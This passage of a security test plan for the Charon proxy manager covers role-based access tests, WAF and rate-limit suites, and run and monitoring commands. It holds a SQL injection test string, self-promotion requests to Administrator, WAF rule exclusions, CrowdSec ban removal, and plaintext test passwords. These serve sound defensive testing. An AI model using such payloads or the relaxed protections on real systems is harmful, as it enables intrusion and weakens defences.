Bulk operations verify all items authorized

Real-Time Permission Updates

Permission changes immediate on next request
No caching hiding permission changes
Role changes require revalidation
Token refresh doesn't grant new permissions

Required Tests

SCENARIO: Different roles see different dashboard widgets
TEST STEPS:

AS ADMIN:
1. Login as admin@test.local
2. Navigate to dashboard
3. Verify all widgets visible:
   - User Count Card ✓
   - Active Proxy Hosts Card ✓
   - System Stats (CPU, Memory, Disk) ✓
   - Recent Activities ✓
   - Security Events ✓
   - Backup Status ✓
   - Alert/Warning Messages ✓
4. Click each widget:
   - All load without 403 errors
   - Data shows aggregated/all users
   EXPECTED: 100% widget visibility

AS USER:
1. Login as user@test.local
2. Navigate to dashboard
3. Verify limited widgets visible:
   - User's Proxy Hosts ✓
   - Personal Stats ✓
   - Recent Logs (own only) ✓
4. Verify hidden widgets:
   - User Count Card ✗ (hidden)
   - System Stats ✗ (hidden)
   - Security Events ✗ (hidden)
   - Backup Status ✗ (hidden)
5. Click hidden widget areas:
   - Either not clickable or return 403
   EXPECTED: Limited visibility, no data leakage

AS GUEST:
1. Login as guest@test.local
2. Navigate to dashboard
3. Verify minimal widgets:
   - Proxy Hosts List (read-only labels) ✓
   - General Help/Info ✓
4. All action buttons disabled:
   - Edit buttons ✗
   - Delete buttons ✗
   - Create buttons ✗
   EXPECTED: Read-only experience

API Data Filtering

SCENARIO: API responses filtered by user role
TEST STEPS:

AS ADMIN:
1. GET /api/v1/proxy-hosts
2. Response includes:
   [
     {"id": 1, "name": "Proxy1", "owner_id": 1},
     {"id": 2, "name": "Proxy2", "owner_id": 2},
     {"id": 3, "name": "Proxy3", "owner_id": 1}
   ]
   → All proxies visible (owned or not)

AS USER (with id=2):
1. GET /api/v1/proxy-hosts
2. Response includes:
   [
     {"id": 2, "name": "Proxy2", "owner_id": 2}
   ]
   → Only user's own proxies
   → No other users' proxies visible

3. Attempt GET /api/v1/proxy-hosts/1 (owner_id=1)
   EXPECTED: 403 Forbidden (no access)

AS GUEST:
1. GET /api/v1/proxy-hosts
2. Response includes:
   [
     {"id": 1, "name": "Proxy1"},  // only name, no detail
     {"id": 2, "name": "Proxy2"}
   ]
   → Labels only, no secrets/config visible

Write Permission Enforcement

SCENARIO: Only authorized roles can modify resources
TEST STEPS:

AS ADMIN:
1. POST /api/v1/proxy-hosts { new proxy config }
   EXPECTED: 201 Created

2. PUT /api/v1/proxy-hosts/1 { update config }
   EXPECTED: 200 OK (update succeeds)

3. DELETE /api/v1/proxy-hosts/1
   EXPECTED: 204 No Content (delete succeeds)

AS USER (with id=2, owner of proxy 2):
1. POST /api/v1/proxy-hosts { new proxy }
   EXPECTED: 201 Created (can create own)

2. PUT /api/v1/proxy-hosts/2 { update own }
   EXPECTED: 200 OK (can update own)

3. PUT /api/v1/proxy-hosts/1 { update other's }
   EXPECTED: 403 Forbidden (cannot modify)

4. DELETE /api/v1/proxy-hosts/1
   EXPECTED: 403 Forbidden (cannot delete)

AS GUEST:
1. POST /api/v1/proxy-hosts { new proxy }
   EXPECTED: 403 Forbidden (no create permission)

2. PUT /api/v1/proxy-hosts/1 { any update }
   EXPECTED: 403 Forbidden (no update permission)

3. DELETE /api/v1/proxy-hosts/1
   EXPECTED: 403 Forbidden (no delete permission)

Settings Access Control

SCENARIO: Role determines settings visibility and editability
TEST STEPS:

AS ADMIN (in UI):
1. Navigate to Settings
2. Tabs visible:
   - General ✓
   - Security ✓
   - Advanced ✓
   - API Keys ✓
3. All fields editable:
   - Save button activates after change
   - API call succeeds

AS USER (in UI):
1. Navigate to Settings
2. Tabs visible:
   - General ✓
   - User Account ✓
3. Tabs NOT visible:
   - Security ✗
   - Advanced ✗
   - API Keys ✗
4. Editable fields limited:
   - Name: editable
   - Email: editable
   - Permission fields: read-only (no save option)

AS GUEST:
1. Navigate to Settings
2. Either:
   a. Page does not load (403)
   b. Page loads but all read-only
   EXPECTED: Cannot modify anything

Permission Escalation Prevention

SCENARIO: Users cannot elevate own permissions
TEST STEPS:

AS USER:
1. Attempt to modify own role via API:
   PUT /api/v1/users/me
   {
     "name": "user@test.local",
     "role": "Administrator"
   }
   EXPECTED: 403 Forbidden or role ignored (reverted to User)

2. Attempt to create new admin:
   POST /api/v1/users
   {
     "email": "neward@test.local",
     "role": "Administrator"
   }
   EXPECTED: 403 Forbidden (cannot create admins)

3. Attempt to grant permission via API key:
   POST /api/v1/users/me/api-keys
   {
     "name": "admin_key",
     "role": "Administrator"
   }
   EXPECTED: 403 Forbidden or role limited to User

VERIFY: Database confirms role unchanged

Success Criteria

Criterion	Expected	Count
Admin sees all dashboard widgets	✅ 100% visible	1
User sees limited widgets	✅ ~50% hidden	1
Guest sees read-only dashboard	✅ All buttons disabled	1
API filters data by role	✅ Correct filtering	3
Write operations role-checked	✅ 0 unauthorized writes	4
Settings visibility matches role	✅ Proper tabs shown	3
Permission escalation blocked	✅ All attempts rejected	3
Total Authorization Tests		16

9. Test Suite Organization

Test File Structure

Phase 3 Test Directory Layout

/projects/Charon/tests/phase3/
├── security-enforcement.spec.ts      # Core auth & 60-min session
├── cerberus-acl.spec.ts              # Role-based access control
├── coraza-waf.spec.ts                # Attack prevention
├── rate-limiting.spec.ts             # Abuse prevention
├── crowdsec-integration.spec.ts      # DDoS/Bot mitigation
├── fixtures/
│   ├── test-users.ts                 # User creation & management
│   ├── security-payloads.ts          # Attack patterns
│   ├── test-data.ts                  # API test data
│   └── helpers.ts                    # Common utilities
└── README.md                          # Phase 3 test documentation

Test Suite Breakdown

Phase 3A: Security Enforcement (Core)

File: tests/phase3/security-enforcement.spec.ts

Category	Test Count	Priority	Risk
Login & Token Generation	3	P0	HIGH
Token Refresh Mechanism	3	P0	HIGH
60-Minute Long Session	1	P0	CRITICAL
Logout & Cleanup	2	P1	MEDIUM
Concurrent Sessions	2	P1	MEDIUM
Subtotal	11	—	—

Test Organization:

describe('Phase 3: Security Enforcement (Core Suite)', () => {
  describe('Authentication > Login & Token Generation', () => {
    test('Admin login receives access + refresh tokens', { slow: true })
    test('Login returns proper JWT claims', { slow: true })
    test('Refresh token stored as secure HttpOnly cookie', { slow: true })
  })

  describe('Authentication > Token Refresh', () => {
    test('Auto-refresh triggered at 18-minute mark', { slow: true })
    test('Refresh transparent to user (no 401 errors)', { slow: true })
    test('New token issued with updated exp claim', { slow: true })
  })

  describe('Session > 60-Minute Long-Running', () => {
    test('60-minute session completes without 401 errors', { slow: true, timeout: '70m' })
  })

  describe('Session > Logout & Cleanup', () => {
    test('Logout invalidates refresh token', { slow: true })
    test('Re-login after logout works correctly', { slow: true })
  })

  describe('Session > Concurrent Sessions', () => {
    test('Multiple users have isolated sessions', { slow: true })
    test('Logout in one session does not affect others', { slow: true })
  })
})

Phase 3B: Cerberus ACL Testing

File: tests/phase3/cerberus-acl.spec.ts

Category	Test Count	Priority	Risk
Admin Access	5	P0	HIGH
User Restrictions	5	P0	HIGH
Guest Capabilities	3	P1	MEDIUM
Role Transitions	2	P1	MEDIUM
Cross-Role Isolation	6	P0	CRITICAL
Permission Elevation Prevention	4	P0	CRITICAL
Subtotal	25	—	—

Execution Duration: ~10 minutes Risk Level: MEDIUM

Phase 3C: Coraza WAF Protection

File: tests/phase3/coraza-waf.spec.ts

Category	Test Count	Priority	Risk
SQL Injection Detection	4	P0	CRITICAL
XSS Prevention	4	P0	CRITICAL
CSRF Validation	4	P1	HIGH
Malformed Requests	4	P1	MEDIUM
WAF Logging	5	P2	LOW
Subtotal	21	—	—

Execution Duration: ~10 minutes Risk Level: CRITICAL (security)

Phase 3D: Rate Limiting Enforcement

File: tests/phase3/rate-limiting.spec.ts

Category	Test Count	Priority	Risk
Login Brute Force	1	P0	HIGH
API Endpoint Limits	4	P0	HIGH
Resource Creation Limits	1	P1	MEDIUM
Multi-User Isolation	1	P0	HIGH
Rate Limit Headers	3	P1	MEDIUM
Limit Reset Behavior	2	P1	MEDIUM
Subtotal	12	—	—

Execution Duration: ~10 minutes Risk Level: MEDIUM Constraint: Must run serially (rate limits interfere with parallel execution)

Phase 3E: CrowdSec Integration

File: tests/phase3/crowdsec-integration.spec.ts

Category	Test Count	Priority	Risk
Blacklist Enforcement	3	P0	CRITICAL
Bot Detection	2	P0	HIGH
Decision Caching	2	P1	MEDIUM
Whitelist Bypass	2	P1	MEDIUM
Pattern Variations	1	P2	LOW
Subtotal	10	—	—

Execution Duration: ~10 minutes Risk Level: MEDIUM Note: May require network-level testing or IP spoofing

Test Count Summary

Suite	File	Tests	Duration	Priority
Core Security	security-enforcement.spec.ts	11	60+ min	P0/P1
Cerberus ACL	cerberus-acl.spec.ts	25	10 min	P0/P1
Coraza WAF	coraza-waf.spec.ts	21	10 min	P0/P1
Rate Limiting	rate-limiting.spec.ts	12	10 min	P0/P1
CrowdSec	crowdsec-integration.spec.ts	10	10 min	P0/P1
TOTAL		79	~100 min	—

Test Execution Order

# Phase 3 Test Execution Sequence:

# 1. Start E2E Environment (one-time setup)
.github/skills/scripts/skill-runner.sh docker-rebuild-e2e

# 2. Run Core Security Tests (CRITICAL - foundation for others)
npx playwright test tests/phase3/security-enforcement.spec.ts \
  --project=firefox --reporter=html

# 3. Run Cerberus ACL Tests (MEDIUM - authorization checks)
npx playwright test tests/phase3/cerberus-acl.spec.ts \
  --project=firefox --reporter=html

# 4. Run Coraza WAF Tests (CRITICAL - attack prevention)
npx playwright test tests/phase3/coraza-waf.spec.ts \
  --project=firefox --reporter=html

# 5. Run Rate Limiting Tests (MEDIUM - run serially)
npx playwright test tests/phase3/rate-limiting.spec.ts \
  --project=firefox --reporter=html \
  --workers=1  # Serial execution required

# 6. Run CrowdSec Tests (MEDIUM - DDoS mitigation)
npx playwright test tests/phase3/crowdsec-integration.spec.ts \
  --project=firefox --reporter=html

# 7. Generate Combined Report
npx playwright show-report

# Total Execution Time: ~100 minutes (includes 60-min session test)

Why Serial Execution?

Rate limiting tests and WAF tests must run serially because:

Rate Limiting: Rapid parallel requests from the same test session hit rate limits
- Solution: Execute rate-limiting suite with --workers=1
WAF Testing: Multiple rapid attack pattern submissions from same IP/session may trigger CrowdSec
- Mitigation: Space out WAF tests or use different test users per request
CrowdSec Decisions: Decisions may take time to propagate
- Solution: Add delays between related tests

Other suites (Security Enforcement, Cerberus, CrowdSec) can run in parallel if needed to accelerate execution.

Parallel Execution Alternative (Faster, Less Safe)

# Fast execution (all tests parallel) - NOT RECOMMENDED
npx playwright test tests/phase3/ \
  --project=firefox --reporter=html \
  --grep="Phase3"  # Tag all Phase 3 tests

# This may cause:
# ⚠️ False failures due to rate limits crossing tests
# ⚠️ WAF blocking benign requests as DDoS
# ⚠️ CrowdSec blocking test IP across multiple tests

10. Execution Strategy

Pre-Test Verification Checklist

Infrastructure Readiness (10 minutes)

Docker Container:

docker ps | grep charon-e2e
# Output: charon-e2e container running

docker exec charon-e2e curl -s http://localhost:8080/health
# Output: {"status":"ok"} or {"healthy":true}

Security Modules Status:

# Check Cerberus ACL
curl -s http://localhost:2019/config/apps/http/middleware | grep -i acl

# Check Coraza WAF
curl -s http://localhost:2019/config/apps/http/middleware | grep -i waf

# Check Rate Limiting
curl -s http://localhost:2019/config/apps/http/middleware | grep -i rate

# Check CrowdSec Bouncer
curl -s http://localhost:2019/config/apps/http/middleware | grep -i crowdsec

Emergency Token Configuration:

# Verify token exists in environment
docker exec charon-e2e grep EMERGENCY_TOKEN .env
# Output: EMERGENCY_TOKEN=<token>...

# Test token validity
curl -s -X POST http://localhost:8080/api/v1/auth/validate \
  -H "Authorization: Bearer $EMERGENCY_TOKEN"
# Output: {"valid":true}

Database State:

# Verify test users exist
docker exec charon-e2e sqlite3 data/charon.db \
  "SELECT email, role FROM users ORDER BY email;"

# Output should include:
# admin@test.local|Administrator
# user@test.local|User
# guest@test.local|Guest
# ratelimit@test.local|User

Test User Credentials Verified:

# Test admin login
curl -s -X POST http://localhost:8080/api/v1/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"admin@test.local","password":"AdminPass123!"}'
# Output: {"access_token":"...", "token_type":"Bearer"}

Log Directories Accessible:

docker exec charon-e2e ls -la /var/log/caddy/ /var/log/charon/ 2>/dev/null
# All log directories exist and writable
docker exec charon-e2e find /var/log -name "*.log" -type f

Serial Execution Plan

Execution Phase 1: Core Security Tests (60+ minutes)

# Start time: [Record]

# 1. Run Core Security Test Suite
npx playwright test tests/phase3/security-enforcement.spec.ts \
  --project=firefox \
  --reporter=html \
  --output-folder="test-results/phase3-core" \
  2>&1 | tee logs/phase3-core-execution.log

# Expected: High test count, long duration (60-min session test)
# Completion time: [Record]

Monitoring During Execution:

# In separate terminal - Monitor API calls
docker exec charon-e2e tail -f /var/log/caddy/access.log | \
  grep -E "(401|403|500)" | \
  tee logs/phase3-core-errors.log

# In separate terminal - Monitor token refresh
docker exec charon-e2e tail -f /var/log/charon/security.log | \
  grep -i "token\|refresh\|session" | \
  tee logs/phase3-core-tokens.log

60-Minute Session Test Heartbeat Monitoring (NEW):

For the 60+ minute long-running session test, implement periodic health checks to ensure the session remains active and token refresh is working. This allows QA to monitor progress in real-time.

TypeScript Code Snippet for Playwright Test:

// tests/phase3/security-enforcement.spec.ts - 60-minute session test heartbeat

const SESSION_DURATION_MS = 60 * 60 * 1000;  // 60 minutes
const HEARTBEAT_INTERVAL_MS = 10 * 60 * 1000; // 10 minutes
const startTime = Date.now();
let heartbeatCount = 0;

// Helper: Get token expiration from JWT
function getTokenExpiry(token: string): number {
  const parts = token.split('.');
  if (parts.length !== 3) return 0;
  try {
    const payload = JSON.parse(atob(parts[1]));
    return payload.exp ? payload.exp * 1000 : 0; // Convert to milliseconds
  } catch {
    return 0;
  }
}

// Helper: Log heartbeat every 10 minutes
async function logHeartbeat(page: Page, context: string): Promise<void> {
  heartbeatCount++;
  const elapsed = Math.floor((Date.now() - startTime) / 1000 / 60); // minutes
  const token = await page.evaluate(() => localStorage.getItem('access_token'));
  const expiryMs = token ? getTokenExpiry(token) : 0;
  const expiryTime = expiryMs > 0
    ? new Date(expiryMs).toISOString()
    : 'unknown';

  const heartbeatMsg = `✓ [Heartbeat ${heartbeatCount}] Min ${elapsed}: ${context}. Token expires: ${expiryTime}`;
  console.log(heartbeatMsg);

  // Write to file for log analysis
  const fs = require('fs');
  const logDir = 'logs';
  if (!fs.existsSync(logDir)) fs.mkdirSync(logDir);
  fs.appendFileSync(`${logDir}/session-heartbeat.log`, heartbeatMsg + '\n');
}

// In test: Log heartbeat every 10 minutes during 60-minute session
test('60-minute session with automatic token refresh and heartbeat',
  { timeout: '70m' }, // 70-minute timeout to allow for test overhead
  async ({ page, browser }) => {
    const testStartTime = Date.now();

    // Initial login
    await page.goto('http://localhost:8080');
    await page.fill('[name="email"]', 'admin@test.local');
    await page.fill('[name="password"]', 'AdminPass123!');
    await page.click('button:has-text("Login")');
    await page.waitForNavigation();

    // Initial heartbeat
    await logHeartbeat(page, 'Initial login successful');

    // Run heartbeat loop every 10 minutes
    const heartbeatTimer = setInterval(async () => {
      try {
        // Verify session still active via API call
        const response = await page.evaluate(async () => {
          const token = localStorage.getItem('access_token');
          return fetch('/api/v1/users/me', {
            headers: { Authorization: `Bearer ${token}` }
          }).then(r => ({ status: r.status, ok: r.ok }));
        });

        if (response.ok) {
          await logHeartbeat(page, 'API health check OK');
        } else {
          console.warn(`⚠ [Heartbeat ${heartbeatCount}] API returned ${response.status}`);
        }
      } catch (err) {
        console.error(`✗ [Heartbeat ${heartbeatCount}] Error: ${err.message}`);
      }
    }, HEARTBEAT_INTERVAL_MS);

    try {
      // Run session activities for 60 minutes
      // (navigate, make API calls, interact with UI)
      const endTime = testStartTime + SESSION_DURATION_MS;
      let iteration = 0;

      while (Date.now() < endTime) {
        iteration++;

        // Periodically navigate and make API calls
        if (iteration % 2 === 0) {
          // Navigate to different pages
          await page.goto('http://localhost:8080/dashboard');
          await page.waitForLoadState('networkidle');
        } else {
          // Make API call
          const token = await page.evaluate(() => localStorage.getItem('access_token'));
          const response = await page.evaluate(async (token) => {
            return fetch('/api/v1/users', {
              headers: { 'Authorization': `Bearer ${token}` }
            }).then(r => r.status);
          }, token);
        }

        // Wait 5 minutes between iterations
        await page.waitForTimeout(5 * 60 * 1000);
      }

      // Final heartbeat
      await logHeartbeat(page, 'Session completed successfully');

    } finally {
      clearInterval(heartbeatTimer);
    }

    // Verify session integrity at end
    const finalToken = await page.evaluate(() => localStorage.getItem('access_token'));
    expect(finalToken).toBeTruthy();
    expect(finalToken?.length).toBeGreaterThan(100); // JWT sanity check
  }
);

Bash Command for Real-Time Monitoring During Test Execution:

#!/usr/bin/env bash
# Run in separate terminal while 60-minute test is executing

# Monitor heartbeat log in real-time
echo "=== Monitoring 60-Minute Session Test Progress ==="
echo "Press Ctrl+C to stop monitoring"
echo ""

# Create log directory if needed
mkdir -p logs

# Monitor heartbeat log with timestamps
(tail -f logs/session-heartbeat.log 2>/dev/null &) | while IFS= read -r line; do
  echo "[$(date +'%H:%M:%S')] $line"
done

# Alternative: Watch for errors in real-time
echo ""
echo "=== Errors/Warnings (if any) ==="
grep -E "✗|⚠|error|failed" logs/session-heartbeat.log 2>/dev/null || echo "No errors detected"

# Alternative: Show token refresh frequency
echo ""
echo "=== Token Refresh Count ==="
grep -c "Token expires:" logs/session-heartbeat.log 2>/dev/null || echo "0 refreshes detected"

Integration into Test Execution:

Add heartbeat code to tests/phase3/security-enforcement.spec.ts (60-minute test)
Run test: npx playwright test tests/phase3/security-enforcement.spec.ts -g "60-minute"
In separate terminal: Run bash monitoring command above

Expected log output example:

✓ [Heartbeat 1] Min 10: Initial login successful. Token expires: 2026-02-10T08:35:42Z
✓ [Heartbeat 2] Min 20: API health check OK. Token expires: 2026-02-10T08:45:12Z
✓ [Heartbeat 3] Min 30: API health check OK. Token expires: 2026-02-10T08:55:18Z
⚠ [Heartbeat 4] Min 40: API returned 401 (indicates token refresh failure)
✓ [Heartbeat 5] Min 50: API health check OK. Token expires: 2026-02-10T09:15:30Z
✓ [Heartbeat 6] Min 60: Session completed successfully. Token expires: 2026-02-10T09:25:44Z

Success criteria: 0 errors (✗), token expires time advances every ~20 minutes (auto-refresh working), all heartbeats logged

Execution Phase 2: Cerberus ACL Tests (10 minutes)

# Wait for Phase 1 completion before starting Phase 2
# This prevents test interference

npx playwright test tests/phase3/cerberus-acl.spec.ts \
  --project=firefox \
  --reporter=html \
  --output-folder="test-results/phase3-acl" \
  2>&1 | tee logs/phase3-acl-execution.log

# Expected: Access control enforcement verification
# Completion time: [Record]

Monitoring During Execution:

# Monitor ACL log
docker exec charon-e2e tail -f /var/log/caddy/access.log | \
  grep -E "(403|DENY)" | \
  tee logs/phase3-acl-blocks.log

Execution Phase 3: Coraza WAF Tests (10 minutes)

# After Phase 2 completion

npx playwright test tests/phase3/coraza-waf.spec.ts \
  --project=firefox \
  --reporter=html \
  --output-folder="test-results/phase3-waf" \
  2>&1 | tee logs/phase3-waf-execution.log

# Expected: Malicious request blocking verification
# Completion time: [Record]

Monitoring During Execution:

# Monitor WAF blocks
docker exec charon-e2e tail -f /var/log/caddy/access.log | \
  grep -E "(403|WAF|injection|xss)" | \
  tee logs/phase3-waf-blocks.log

Execution Phase 4: Rate Limiting Tests (10 minutes)

# After Phase 3 completion
# CRITICAL: Run with --workers=1 (serial execution)

npx playwright test tests/phase3/rate-limiting.spec.ts \
  --project=firefox \
  --reporter=html \
  --output-folder="test-results/phase3-ratelimit" \
  --workers=1 \
  2>&1 | tee logs/phase3-ratelimit-execution.log

# Expected: Rate limit enforcement verification
# Completion time: [Record]

Monitoring During Execution:

# Monitor rate limit headers
docker exec charon-e2e tail -f /var/log/caddy/access.log | \
  grep -E "(429|X-RateLimit)" | \
  tee logs/phase3-ratelimit-events.log

Execution Phase 5: CrowdSec Tests (10 minutes)

# After Phase 4 completion

npx playwright test tests/phase3/crowdsec-integration.spec.ts \
  --project=firefox \
  --reporter=html \
  --output-folder="test-results/phase3-crowdsec" \
  2>&1 | tee logs/phase3-crowdsec-execution.log

# Expected: DDoS/bot mitigation verification
# Completion time: [Record]

Monitoring During Execution:

# Monitor CrowdSec decisions
docker exec charon-e2e tail -f /var/log/caddy/access.log | \
  grep -E "(403|blocked|crowdsec)" | \
  tee logs/phase3-crowdsec-blocks.log

Retry Strategy

If Individual Test Fails:

Capture Failure Details:

# Check HTML report
npx playwright show-report test-results/phase3-*/

# Review error logs
tail -100 logs/phase3-*-execution.log

# Review security logs
docker logs charon-e2e | tail -200

Determine Root Cause:
- Is it a test logic error? (Rewrite test)
- Is it a security configuration issue? (Fix config)
- Is it a flaky test dependent on timing? (Add waits/retries)
- Is it an application bug? (Escalate to dev team)

Re-Run Only Failed Test:

# Re-run single failed test
npx playwright test tests/phase3/cerberus-acl.spec.ts \
  -g "should receive 403 for admin endpoint" \
  --project=firefox

No Automatic Retries:
- Phase 3 security tests run once only
- If test fails, it indicates a real security issue
- Retrying masks the problem
- All failures require investigation before retry

If Entire Suite Fails:

Check System State:

# Verify container still healthy
docker exec charon-e2e curl http://localhost:8080/health

# Verify database still accessible
docker exec charon-e2e sqlite3 data/charon.db "SELECT 1;"

# Check for rate limit escalation
docker exec charon-e2e tail /var/log/caddy/access.log | \
  grep -c 429

Reset Environment (if contaminated):

# Option 1: Restore database from backup
docker exec charon-e2e cp data/charon.db.backup data/charon.db

# Option 2: Rebuild entire environment (if needed)
.github/skills/scripts/skill-runner.sh docker-rebuild-e2e

# Re-verify pre-test checklist
# Restart test suite

Escalate if Unresolved:
- Document all logs and error messages
- Create GitHub issue with "Phase 3 Test Failure" label
- Notify security team + dev lead
- Phase 3 cannot proceed until resolved

Test Report Generation

# After all suites complete, generate combined report

# 1. Copy all test results to reports directory
mkdir -p docs/reports/phase3
cp -r test-results/phase3-* docs/reports/phase3/

# 2. Collect all logs
mkdir -p docs/reports/phase3/logs
cp logs/phase3-* docs/reports/phase3/logs/

# 3. Copy HTML reports
for suite in core acl waf ratelimit crowdsec; do
  cp test-results/phase3-${suite}/index.html \
    docs/reports/phase3/report-${suite}.html
done

# 4. Generate Markdown summary (see section below)

11. Expected Challenges & Mitigations

Challenge: Rate Limiting Blocks Rapid Test Execution

Impact: Tests timeout, false failures Scenario: WAF + Rate Limiting tests run in parallel, both generate rapid requests

Mitigation Strategies:

Run tests serially (recommended)
- Use --workers=1 for rate limiting suite
- Sequential execution avoids cross-test interference
Whitelist test traffic
- Add test container IP to rate limit whitelist
- Configure WAF to exempt test endpoints
Space out requests
- Add delays between rapid test steps
- Distribute requests across multiple test users

Implementation:

# Recommended approach
npx playwright test tests/phase3/rate-limiting.spec.ts \
  --workers=1  # Serial execution

# Alternative: Whitelist test traffic
# In Caddy config: rate_limiter { skip 127.0.0.1 }

Challenge: WAF Blocks Legitimate Test Payloads

Impact: False positives, test failures Scenario: Test submits valid-but-suspicious data (JSON with quotes, etc.)

Mitigation Strategies:

Tune WAF paranoia level
- Default: Level 2 (balanced)
- For testing: Level 1 (less strict) in test environment
- Production: Level 3-4 (strict)

Configure WAF exceptions

# Caddy coraza config
exclude_rules:
  - 942200  # Exclude overly-broad SQL detection
  - 941320  # Exclude strict XSS detection

Use crafted test payloads
- Test with payloads that clearly violate rules
- Avoid ambiguous data that might be legitimate

Implementation:

// Test with clear attack pattern
const sqlInjection = "1' OR '1'='1"  // Unambiguous
// Not: "admin" which might legitimately contain quote char

Challenge: CrowdSec Blocks Test IP for Duration

Impact: All tests fail for the session, cannot recover Scenario: Rate limiting or WAF test triggers CrowdSec detection, test IP is blocked

Mitigation Strategies:

Whitelist test IP/container

# In CrowdSec bouncer config
whitelist:
  enabled: true
  ips:
    - 127.0.0.1    # localhost
    - 172.17.0.0/16  # Docker internal network

Use separate container IP per suite
- Run each test suite in different container
- Avoids cross-test IP contamination

Monitor CrowdSec decisions

# Check if test IP is blocked
docker exec charon-e2e cscli decisions list

# Remove test IP if needed
docker exec charon-e2e cscli decisions delete \
  --ip 127.0.0.1

Implementation:

# Pre-test verification
docker exec charon-e2e cscli decisions list | grep BLOCKED
# If test IP appears, whitelist it before proceeding

Challenge: Token Expires During 60-Minute Session

Impact: 401 errors, session test fails Scenario: Token refresh fails or becomes stale

Mitigation Strategies:

Verify refresh implementation (Phase 2.3c)
- Confirm auto-refresh active and working
- Check refresh token storage and transmission
- Validate token expiration claims

Monitor token lifecycle

# Log token refresh events
docker exec charon-e2e tail -f /var/log/charon/security.log | \
  grep -i "token\|refresh"

Add explicit refresh checks

// In test: verify token refreshed at expected times
test('60-minute session with token refresh', { timeout: '70m' }, async ({ page }) => {
  const tokenBefore = getStoredToken()

  // Wait 18 minutes
  await page.waitForTimeout(18 * 60 * 1000)

  // Force API call to trigger refresh
  const response = await makeAPICall()
  expect(response.status).toBe(200)  // Not 401

  const tokenAfter = getStoredToken()
  expect(tokenAfter).not.toEqual(tokenBefore)  // Token refreshed
})

Implementation:

// Utility function to verify token freshness
async function verifyTokenNotExpired(page: Page): Promise<boolean> {
  const token = await page.evaluate(() =>
    localStorage.getItem('access_token')
  )
  const { exp } = parseJWT(token)
  return exp > Date.now() / 1000
}

Challenge: Security Logs Flood Output, Hard to Debug

Impact: Lost in noise, cannot identify root causes Scenario: 60-minute test generates thousands of log entries

Mitigation Strategies:

Redirect logs to file

docker logs charon-e2e 2>&1 | tee logs/phase3-full.log
# Logs saved for offline analysis

Filter logs during execution

# Only show errors and security events
tail -f /var/log/caddy/access.log | \
  grep -E "(401|403|429|500|deny|block|xss|sql)"

Post-processing analysis

# After test completion, analyze logs
grep -c "401" logs/phase3-full.log  # Count auth errors
grep -c "403" logs/phase3-full.log  # Count access denied
grep -c "429" logs/phase3-full.log  # Count rate limits

# Extract unique errors
grep "error\|failed" logs/phase3-full.log | sort | uniq -c

Implementation:

# Comprehensive logging setup
PHASE3_LOGS="logs/phase3-$(date +%Y%m%d-%H%M%S)"
mkdir -p "$PHASE3_LOGS"

# 1. Run tests with output redirect
npx playwright test tests/phase3/ ... 2>&1 | \
  tee "$PHASE3_LOGS/test-execution.log"

# 2. Capture container logs
docker logs charon-e2e > "$PHASE3_LOGS/container.log" 2>&1

# 3. Export security logs
docker exec charon-e2e cp /var/log/caddy/access.log \
  "$PHASE3_LOGS/caddy-access.log"
docker exec charon-e2e cp /var/log/charon/security.log \
  "$PHASE3_LOGS/charon-security.log"

echo "All logs exported to: $PHASE3_LOGS"

Challenge: Multiple Roles Interfere with Each Other

Impact: Data leakage, permission bypasses Scenario: Admin test user accidentally accesses user test user's data

Mitigation Strategies:

Separate test user accounts
- Create dedicated test users per role
- Never reuse test accounts across different role tests
- Clear session between role transitions

Fresh login for each role test

// Bad: Reusing same browser context
const adminToken = await login('admin@test.local')
// ... admin tests ...
const userToken = await login('user@test.local')  // Risk! Admin context still active

// Good: Separate browser contexts
const adminContext = await browser.newContext()
const adminToken = await login('admin@test.local', adminContext)
// ... admin tests ...
await adminContext.close()

const userContext = await browser.newContext()
const userToken = await login('user@test.local', userContext)
// ... user tests ...
await userContext.close()

Data isolation verification

test('User cannot see other user data', async ({ page }) => {
  // Login as User A
  const dataA = await fetchUserData('user-a@test.local')

  // Logout and login as User B
  await logout()
  const dataB = await fetchUserData('user-b@test.local')

  // Verify cross-user data not visible
  expect(dataA.email).toBe('user-a@test.local')
  expect(dataB.email).toBe('user-b@test.local')
  expect(dataA.proxies).not.toContain(dataB.proxies)
})

Implementation:

// Test fixture for role isolation
export const createRoleTestContext = async (role: 'admin' | 'user' | 'guest') => {
  const browser = await chromium.launch()
  const context = await browser.newContext()

  // Fresh login for this role
  const tokens = await authenticateAs(role, context)

  return {
    context,
    tokens,
    cleanup: async () => {
      await context.close()
      await browser.close()
    }
  }
}

// Usage in tests
test('Admin can access all endpoints', async () => {
  const { context, tokens, cleanup } = await createRoleTestContext('admin')
  // ... admin-specific tests ...
  await cleanup()
})

Challenge Summary Table

Challenge	Impact	Likelihood	Mitigation
Rate limit blocks tests	Tests timeout	HIGH	Run serially, whitelist
WAF blocks valid data	False positives	MEDIUM	Tune rules, use clear payloads
CrowdSec blocks IP	All tests fail	MEDIUM	Whitelist test IP, monitor decisions
Token expires mid-session	401 errors	LOW	Verify Phase 2.3c, monitor refresh
Security logs flood output	Debug difficult	MEDIUM	Redirect to files, filter, analyze
Multi-role interference	Data leakage	MEDIUM	Separate contexts, fresh logins

12. Success Criteria & Go/No-Go Gate

Phase 3 Pass Criteria (ALL Required)

✅ Test Execution Success

Core Security tests: 100% pass rate (11/11 tests pass)
- Login & token generation working
- Token refresh operating correctly
- 60-minute session completes without 401 errors
- Logout properly clears session
Cerberus ACL tests: 100% pass rate (25/25 tests pass)
- Admin access to protected endpoints verified
- User restrictions enforced
- Guest read-only capabilities confirmed
- Role-based access properly enforced
Coraza WAF tests: 100% pass rate (21/21 tests pass)
- SQL injection attempts blocked
- XSS payloads rejected
- CSRF validation enforced
- Malformed requests handled safely
Rate Limiting tests: 100% pass rate (12/12 tests pass)
- Login throttled after threshold
- API endpoints rate limited appropriately
- Rate limit headers present
- Limits reset after time window
CrowdSec tests: 100% pass rate (10/10 tests pass)
- Blacklisted IPs blocked
- Bot behavior detected
- Decisions cached and updated
- Whitelist bypass working

✅ Session Stability

60-minute session test completes successfully
- Zero 401 errors during entire test
- Zero 403 errors (permissions maintained)
- Token refresh occurs transparently (3+ times)
- All API calls succeed (200/201/204 responses)
- UI remains responsive throughout
- Logout properly clears session

✅ Middleware Enforcement

Cerberus ACL properly enforcing roles
- Admin endpoints return 200 for admin, 403 for others
- User endpoints filtered by ownership
- Guest endpoints read-only
- Permission bypass attempts rejected
Coraza WAF blocking attacks
- 0 SQL injection bypasses
- 0 XSS bypasses
- CSRF token validation active
- All blocked requests logged
Rate Limiting enforced consistently
- Login rate limited after threshold
